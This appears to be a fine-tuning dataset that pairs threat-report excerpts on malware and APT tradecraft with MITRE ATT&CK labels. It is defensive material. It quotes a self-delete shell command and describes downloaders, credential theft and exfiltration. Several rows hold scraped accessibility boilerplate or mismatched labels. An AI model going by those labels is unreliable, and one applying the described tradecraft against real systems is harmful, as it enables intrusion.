"The ZIP archive contains a malicious portable executable (PE) file with embedded HTML application (HTA). The user has to unzip the archive and double-click the executable for the infection chain to continue. The PE file is a simple HTA script compiled into an executable. When the user double-clicks the executable, the malicious HTA file is extracted to %temp% and executed by mshta.exe","['T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1204.002 - User Execution: Malicious File']",fine_tune
The two dropped artifacts – a payload DLL and a Word document – are written to the “Users\&lt;Log on User&gt;\” folder (the document will replace the opened malicious document with clean stub after killing the running Word process,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. CTU researchers identified two versions of Daserf written in Visual C and Delphi. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. RarStar HTTP POST request. Use malware to upload the large list of enumerated files to the C2 server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1573.001 - Symmetric Cryptography'],fine_tune
"1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckfly obtained information on the targeted user, but we did find a large open-source presence on the initial target. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. 3) After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4) On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured. It isn't clear why the attackers scanned for hosts with port 40 open because there isn't a common protocol assigned to this port. Based on Suckfly scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure",['T1046 - Network Service Discovery'],fine_tune
"Step 6: After obtaining the fully privileged handle of Taskmgr.exe, the actor uses this handle to execute cmd as high privilege process to execute install.bat","['T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1134.004 - Access Token Manipulation: Parent PID Spoofing']",fine_tune
"The threat actors can execute remote commands by running this specialized module with predefined actions. This module attempts to execute a command. It uses the PowerShell Invoke-Expression method for the PowerShell-based module, while its C# implementation has both cmd and PowerShell options",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"OFF ON Vision Impaired Profile Enhances website's visuals This profile adjusts the website, so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. This website utilizes various technologies that are meant to make it as accessible as possible at all times. We utilize an accessibility interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. In this process, we provide screen-readers with meaningful data using the ARIA set of attributes. It will also extract texts embedded within the image using an OCR (optical character recognition) technology. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Additional UI, design, and readability adjustments . 1) Font adjustments – users can increase and decrease its size, change its family (type), adjust the spacing, alignment, line height, and more. 7) Additional functions – we allow users to change cursor color and size, use a printing mode, enable a virtual keyboard, and many other functions. Still, we are continually improving our accessibility, adding, updating, improving its options and features, and developing and adopting new technologies",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"In another engagement, we observed the adversary using Mimikatz (the official signed version) to access credentials for logon (T1003.001: LSASS Memory",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
MobileOrder starts by registering itself as device administrator so that a normal user cannot uninstall it by simply clicking “uninstall” in settings,['T1105 - Ingress Tool Transfer'],fine_tune
"A screen capture of Trickbot’s code that is structured to steal passwords from popular web browsers . It should be noted that this Trickbot variant is not capable of stealing passwords from third-party password manager applications. Screen capture of code showing possible SMB communication . networkDll32 Trickbot uses this encrypted module to scan the network and steal relevant network information. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users. It's also used to inject code into its target processes using the Reflective DLL Injection technique. James’s Place Bank, and Royal Bank of Scotland, and will redirect users to fake phishing websites. Trickbot’s other notable tricks . Trickbot is usually sent via malicious spam campaigns. Defending against Trickbot’s tricks: Trend Micro solutions . Malware authors continue to update banking trojans like Trickbot and Emotet with new modules that make it more difficult to detect and combat. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements.Note: This profile prompts automatically for keyboard users. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. Assistive technology and browser compatibility . We aim to support as many browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible",['T1185 - Browser Session Hijacking'],fine_tune
"It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past",['T1573.001 - Symmetric Cryptography'],fine_tune
"NewBCtestDll, NewBCtestnDll Module that is a reverse proxy and is able to execute commands. Module that is a reverse proxy and is able to execute commands. vncDll Module used as a RAT on the victim machine. Module used as a RAT on the victim machine. vpnDll Module used to create VPN proxy routed to a given address. Module used to create VPN proxy routed to a given address. rdpscanDll Module used for brute forcing RDP on a certain list of targets. Module used for brute forcing RDP on a certain list of targets. bcClientDllTestTest An old module used to proxy Trickbot operator traffic through a victim machine. An old module used to proxy Trickbot operator traffic through a victim machine",['T1219 - Remote Access Software'],fine_tune
"While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&amp;C server. These file stealers can also download and execute arbitrary code from the C&amp;C server. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript",['T1005 - Data from Local System'],fine_tune
"On June 21st, 2017 an attacker breached one of our monitored systems by brute-forcing SSH credentials using two IPs known to be part of the TOR network",['T1110 - Brute Force'],fine_tune
"DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets","['T1114.002 - Email Collection: Remote Email Collection', 'T1133 - External Remote Services']",fine_tune
"While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group’s processes",['T1057 - Process Discovery'],fine_tune
"Attempt to get detailed information about the operating system and hardware, such as version, patches, hotfixes, service packs, and architecture (System Information Discovery [T1082]) - Enumerate files and directories or search in specific locations of a host or network share for particular information within a file system (File and Directory Discovery [T1083]) - Get a list of security software, configurations, defensive tools, and sensors installed on the system (Software Discovery: Security Software Discovery [T1518.001]) - Procure information about running processes on a system to understand standard software running on network systems (Process Discovery [T1057]) - Identify primary users, currently logged in users, sets of users that commonly use a system, or active or inactive users (System Owner/User Discovery [T1033]) - Enumerate browser bookmarks to learn more about compromised hosts, reveal personal information about users, and expose details about internal network resources (Browser Bookmark Discovery [T1217]) - Look for information on network configuration and system settings on compromised systems, or perform remote system discovery (System Network Configuration Discovery [T1016]) - Interact with the Windows Registry to gather information about the system, configuration, and installed software (Query Registry [T1012]) - Get a list of open application windows to learn how the system is used or give context to data collected (Application Window Discovery [T1010]) - Attempt to get a listing of local system or domain accounts in the compromised system (Account Discovery [T1087]) - Obtain a list of network connections to and from the compromised system or remote system by querying for information over the network (System Network Connections Discovery [T1049","['T1083 - File and Directory Discovery', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1033 - System Owner/User Discovery', 'T1082 - System Information Discovery', 'T1217 - Browser Bookmark Discovery']",fine_tune
"BRONZE UNION uses various tools for credential theft. In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data","['T1027 - Obfuscated Files or Information', 'T1560 - Archive Collected Data']",fine_tune
"PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34","['T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1003.004 - OS Credential Dumping: LSA Secrets', 'T1555 - Credentials from Password Stores', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1003.001 - OS Credential Dumping: LSASS Memory', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
"Static analysis of this executable shows only two functions, but a regular number of imports. Upon detecting a debugger attached to it, the malware will display the message below and terminate the execution. This packer also hides the calls to API functions. This time instead of using a dispatcher function, the malware pushes the arguments into the stack as usual but will then perform a call to a jump table built during the unpacking, in the .text section memory region. Each entry finishes with a jmp instruction into the respective API function. Effectively the malware doesn't do any call to API functions, it always performs a jump. The end result is the same has in the packer from 2016, but with a simpler mechanism. One of the anti-analysis features included in this packer is the lack of calls to API functions. In the early stages of execution, the malware loads the libraries and retrieves the addresses from functions it needs. Feature-wise, there is no change when compared with the 2016 version, in fact when compared the C2 beaconing functions even share some of the offsets",['T1497.003 - Time Based Evasion'],fine_tune
"File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history. Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014. Browser plugin: Used to steal browser history, stored passwords and sessions. File listing plugin: Works on local or remote drives and can map additional paths when given credentials","['T1082 - System Information Discovery', 'T1083 - File and Directory Discovery']",fine_tune
This function aims to download the powershell code from the command and control server and execute it,['T1105 - Ingress Tool Transfer'],fine_tune
"All three companies indicated that the actors wiped some systems by executing the KillDisk malware at the conclusion of the cyber-attack. The KillDisk malware erases selected files on target systems and corrupts the master boot record, rendering systems inoperable. It was further reported that in at least one instance, Windows-based human-machine interfaces (HMIs) embedded in remote terminal units were also overwritten with KillDisk. The actors also rendered Serial-to-Ethernet devices at substations inoperable by corrupting their firmware. The team assesses that these actions were done in an attempt to interfere with expected restoration efforts",['T1561.002 - Disk Structure Wipe'],fine_tune
"The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network",['T1049 - System Network Connections Discovery'],fine_tune
"In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient",['T1204.002 - User Execution: Malicious File'],fine_tune
"The PlugX malware can be configured to use HTTP, DNS, raw TCP, or UDP to avoid network-based detection. In one sample analyzed by CTU researchers, PlugX was configured with hard-coded user credentials to bypass a proxy that required authentication. Newer HttpBrowser versions use SSL with self-signed certificates to encrypt network communications","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1071.004 - Application Layer Protocol: DNS', 'T1095 - Non-Application Layer Protocol']",fine_tune
"The macro in the XLS file uses PowerShell to download and execute gm.exe, which is the Warzone RAT - Gm.exe bypasses UAC to run at high integrity level - Gm.exe copies itself to %programdata% with the name Images.exe and then executes it",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Those files are then uploaded via unencrypted HTTP, one after another. Examining the network packets showed that they contained a string with two pieces of information: a file path and a random string of characters","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"STOLEN INFO’ message – bot message to C2 with stolen information like passwords, accounts, emails, etc. Stolen information is RC4 encrypted and Base64 encoded. The key for the RC4 encryption is generated in a different way and based on the infected system ID (aka Bot ID) values, and not based on a static string as in the case of traffic encryption","['T1132.001 - Data Encoding: Standard Encoding', 'T1573.001 - Symmetric Cryptography']",fine_tune
"mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. To gain higher privileges mshlpweb.dll execute the Windows Update Standalone Installer, wusa.exe. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"Once the VBScript has been decoded it reveals a rather complex set of functions. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script",['T1027 - Obfuscated Files or Information'],fine_tune
"First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. Otherwise, the Mutex value is set and encryption moves forward using standard encryption library functions. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim",['T1047 - Windows Management Instrumentation'],fine_tune
"Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry’s 2010 Black DDoS’ analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing. Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as “version 1”, including the ddos plugin",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"In mid-2018, OceanLotus carried out a campaign using documents abusing the weakness exposed by the CVE-2017-11882 vulnerability. One of the malicious documents used by OceanLotus was analysed by 360 Threat Intelligence Center (in Chinese) and includes details about the exploit. Let’s take a look at a similar document",['T1203 - Exploitation for Client Execution'],fine_tune
"NOBELIUM has been observed modifying Azure AD to enable long-term persistence and access to sensitive information. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. In one incident, MSTIC observed the use of Azure RunCommand, paired with Azure admin-on-behalf-of (AOBO), as a technique to gain access to virtual machines and shift access from cloud to on-premise. NOBELIUM has demonstrated an ongoing interest in targeting privileged users, including Global Administrators. NOBELIUM is frequently observed conducting activities consistent with intelligence collection",['T1087.004 - Cloud Account'],fine_tune
"Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks",['T1136.001 - Create Account: Local Account'],fine_tune
"Next, REvil checks the configuration field dbg to see if it’s running in debug mode. If that is not the case, geolocation checks based on the system’s language and the keyboard layout are conducted so the ransomware does not attempt to encrypt files on whitelisted systems. The following are whitelisted system language IDs for the analyzed sample",['T1082 - System Information Discovery'],fine_tune
The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails. The group is still using similar phishing models previously mentioned in the KISA report with some small changes,"['T1566.001 - Phishing: Spearphishing Attachment', 'T1589.002 - Email Addresses']",fine_tune
"The export called “SendDataToServer_2” does exactly what the name means: it encrypts all collected data, encodes it using Base64 encoding and calls its additional library to send the data to the C2 server. The names of the C2 servers are hardcoded",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"The user receives a phishing email with a ZIP attachment containing an Office document with embedded macros, the document itself or a link to download malicious document. The user opens the malicious attachment/link and is tricked into clicking “Enable content”. - A malicious macro is executed. One of the encrypted resources has the DLL binary (loader) which is decrypted later during runtime","['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"Helminth relies on the following shortcut for persistence, as it runs the Trojan each time the system starts using the following command line",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom",['T1090 - Proxy'],fine_tune
"Our initial discovery of GravityRAT was through a malicious Word document. We were able to discover four distinct versions of GravityRAT, developed over two years",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack. cmd.exe /C choice /C Y /N /D Y /T 2 &amp; Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Waterbear employs a modular approach to its malware. It utilizes a DLL loader to decrypt and execute an RC4-encrypted payload. Sometimes, the hardcoded file paths of the encrypted payloads are not under Windows native directories (e.g. It is also possible that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems. The evidence is that Waterbear frequently uses internal IPs as its own C&amp;C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.]211 as its C&amp;C server",['T1027 - Obfuscated Files or Information'],fine_tune
"Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication",['T1598.002 - Spearphishing Attachment'],fine_tune
"Sodinokibi gathers some basic system information and saves it to the registry together with the generated encryption parameters. If the dbg option is not set in the config, the UI language and keyboard layout values are checked, and the malware will simply exit on systems which use one of the following language codes","['T1112 - Modify Registry', 'T1082 - System Information Discovery']",fine_tune
"The backdoor installation sequence shows that it’s meant for persistence via /LaunchAgents/com.aex-loop.agent.plist and /Library/LaunchDaemons/com.aex-loop.agent.plist. It initiates the configuration file /Library/Caches/com.applestore.db to set the C&amp;C server IP and for remote session information. Loading the bot plugins, this enables connection to the server to open and wait for commands, update the configuration file based on the commands received, and encrypt the file via AES CBC. If the configuration file already exists, it will decrypt once a new session starts",['T1027 - Obfuscated Files or Information'],fine_tune
"Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling ""PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically. Besides these, there are keyloggers, browser-focused password stealers, camera control applications, and other generic password stealers",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"The final payload is a ZIP archive that is usually encrypted by the algorithm shown in Figure 8 and, in a significant number of cases, we saw it being password-protected as well","['T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
"In order to pull down the backdoor, a payload stager, either HTTP or reverse-DNS, is executed with the use of a scheduled task",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
PDB Path: C:\Users\803\Desktop\ytyboth\yty 2.0\Release\vstservice.pdb The vstservice.exe plugin is .NET file responsible for sending a list of the file system to the C2. The malware retrieves the C2 from a Google Docs file like the previous binaries. The file was located at the following location,['T1005 - Data from Local System'],fine_tune
"In one sample we analyzed, the zip file contains a VBS file named NUM_56960.vbs. The size of the file is around 30MB. The large file size helps it evade detection, as file scanners usually skip scanning huge files for performance reasons. This VBS file then downloads the malicious executable file PaintHelper.exe",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"The Maze-delivered virtual machine was running Windows 7, as opposed to the Windows XP VM distributed in the Ragnar Locker incident. In this case, Cryptoguard was preventing the malware from encrypting files by intercepting and neutralizing the Windows APIs that the ransomware was attempting to use to encrypt the hard drive. Weaponized virtual machine . The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection. The attackers also executed the following commands on the host computer during the Maze attack: This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies. The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims",['T1047 - Windows Management Instrumentation'],fine_tune
"Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. The document’s metadata used in this campaign links them to several other documents used by this actor in the past",['T1027 - Obfuscated Files or Information'],fine_tune
"Windows Defender ATP displays these activities as process trees in a machine timeline for the infected computer. Analysts can easily extract detailed information from these trees, such as the implant DLL dropped by the installer, the command used to call rundll32.exe and load the DLL, and the registry modifications that set the DLL as a service",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"The function of this tool is to set up a TCP listener on a localhost, receive encoded data via requests from the SodomNormal localhost module, and to forward this data to the command and control IP via HTTP. The GUP Proxy Tool has a hardcoded configuration which is included as both strings and integers",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Downloaded payload is a variant of a cloud-based RAT known as RokRat which has been used by this group since 2017. This RAT is known to steal data from a victim’s machine and send them to cloud services (Pcloud, Dropbox, Box, Yandex",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Sandbox check and anti-virus product enumeration - Dropping payload ‘netmgr.exe’ - Creating a registry key for persistence - Creating a registry key for deletion of the dropper,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Several files were downloaded to our Struts2 honeypot from the Chinese repository site gitee.com for a user named ""c-999. Around the same time, we observed similar activity pulling down files from a gitlab.com repository page for a user named ""c-18. All the repositories had a folder called ""ss"" that contained 16 files. The files were a collection of ELF executables, shell scripts, and text files that execute a variety of actions, including achieving persistence and the execution of an illicit cryptocurrency miner. Once the threat actor had compromised a system, they achieved persistence on the device by installing a cron job that downloads and executes a file ""logo.jpg"" from ""3389[.]space. This file is a shell script which, in turn, downloads mining executables from the threat actor's Git repositories and saves them under the filename ""java. The exact file downloaded depends on the victim's system architecture",['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
"Note that regardless of whether Nyetya is successful in overwriting the boot sector or not, it will proceed to create a scheduled task via schtasks to reboot the system one hour after infection","['T1529 - System Shutdown/Reboot', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"Upon execution, Pay2Key is reading the Server and Port keys from the configuration file. If a configuration file was not found in the current working directory and wasn’t supplied in the command line arguments, the ransomware will write “no config file found” to a file at .\Cobalt-Client-log.txt. This log file will be used extensively by the ransomware during its execution. Newer versions of the ransomware are making sure to remove this log file from the disk. The full list of supported log messages can be found in the appendix section of this article",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"This script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable. In this particular instance, the payload is encoded via base64, which certutil decodes. The payload in question is a CAB file that is then unpacked. Finally, the malware executes the extracted install.bat script before deleting the original files and exiting",['T1027 - Obfuscated Files or Information'],fine_tune
Path – location of the root “stash” directory - Ext – search for files with one of these extensions only - Date – search for files not earlier than this date,['T1083 - File and Directory Discovery'],fine_tune
TA505 continued distributing Dridex through early June 2017 using a range of email attachments. Most recently these included PDF attachments with embedded Microsoft Word documents bearing malicious macros that call PowerShell commands that install Dridex,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The Delphi variant of Zebrocy delivered in this attack campaign are very similar to the Delphi downloader discussed in our previous Zebrocy research published in June 2018. While this Delphi variant was known, the C# and VB.NET variants delivered in this attack campaign were previously unknown. An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed. While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"While PotPlayerDB.dat is a variant of PlugX malware, TA416 has updated the payload by changing both its encoding method and expanding the payload’s configuration capabilities. Historically, TA416 relied on the DLL launcher to decode the PlugX payload utilizing an XOR key included at the offset 0 within the PlugX DAT configuration file. One of the main ways it does this is by resolving API functions during runtime. Generally, malware loads a DLL, iterates over the set of exports of the DLL and hashes the string, looking for a matching hash. This iteration of PlugX does standard API hashing, but only to resolve the address of the functions GetProcAddress as well as LoadLibrary. Once those functions are resolved properly, it loads the rest of the functions via their text name",['T1027 - Obfuscated Files or Information'],fine_tune
Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Summary In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. We believe it is likely these tools are being used by one group of attackers. Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Mustang Panda APT uses a package of binaries to load the actual payload and it is intentionally designed this way to bypass file scanners and sandboxes. Obviously, file scanners or sandboxes can’t detect the PlugX payload without the encrypted DAT file",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"HOLMIUM has been observed using various vectors for initial access, including spear-phishing email, sometimes carrying archive attachments that exploit the CVE-2018-20250 vulnerability in WinRAR, and password-spraying. Many of their recent attacks, however, have involved the penetration testing tool Ruler used in tandem with compromised Exchange credentials",['T1110.003 - Brute Force: Password Spraying'],fine_tune
"Completing missions typically involves gathering and transferring information out of the target network, which may involve moving files through multiple systems before reaching the destination. APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration. We have also observed APT40 develop tools such as PAPERPUSH to aid in the effectiveness of their data targeting and theft",['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
L“ServicesActive”: This string is passed to the OpenSCManagerW API to retrieve active services. expand 32-byte kexpand 16-byte”: The constants used by the Salsa20 symmetric encryption algorithm,['T1106 - Native API'],fine_tune
"It creates the folder ""\ProgramData\AuditService\"" and copies the clean file ""lsass.exe"" (taken from ""\Windows\System32\"") into the folder. The tainted ""services.exe"" installs ""\ProgramData\AuditService\lsass.exe"" as an autostart Windows service named ""Audit Service"". When the new ""lsass.exe"" service autostarts, the malicious file ""sspisrv.dll"" sideloads in the same folder. lsass.exe"" will eventually crash because of a failure to load other dependencies","['T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution']",fine_tune
"Companies in multiple sectors are targeted in this campaign, including those operating in the automotive, pharmaceutical, and engineering sector, as well as managed service providers (MSPs",['T1078 - Valid Accounts'],fine_tune
"Use of trusted channels: BoomBox is a uniquely developed downloader used to obtain a later-stage payload from an actor-controlled Dropbox account. All initial communications leverage the Dropbox API via HTTPS. Opportunity for restraint: Consistent with other tools utilized by NOBELIUM, BoomBox, VaporRage, and some variants of NativeZone conduct some level of profiling on an affected system’s environment. Ambiguity: VaporRage is a unique shellcode loader seen as the third-stage payload. VaporRage can download, decode, and execute an arbitrary payload fully in-memory. Such design and deployment patterns, which also include staging of payloads on a compromised website, hamper traditional artifacts and forensic investigations, allowing for unique payloads to remain undiscovered",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
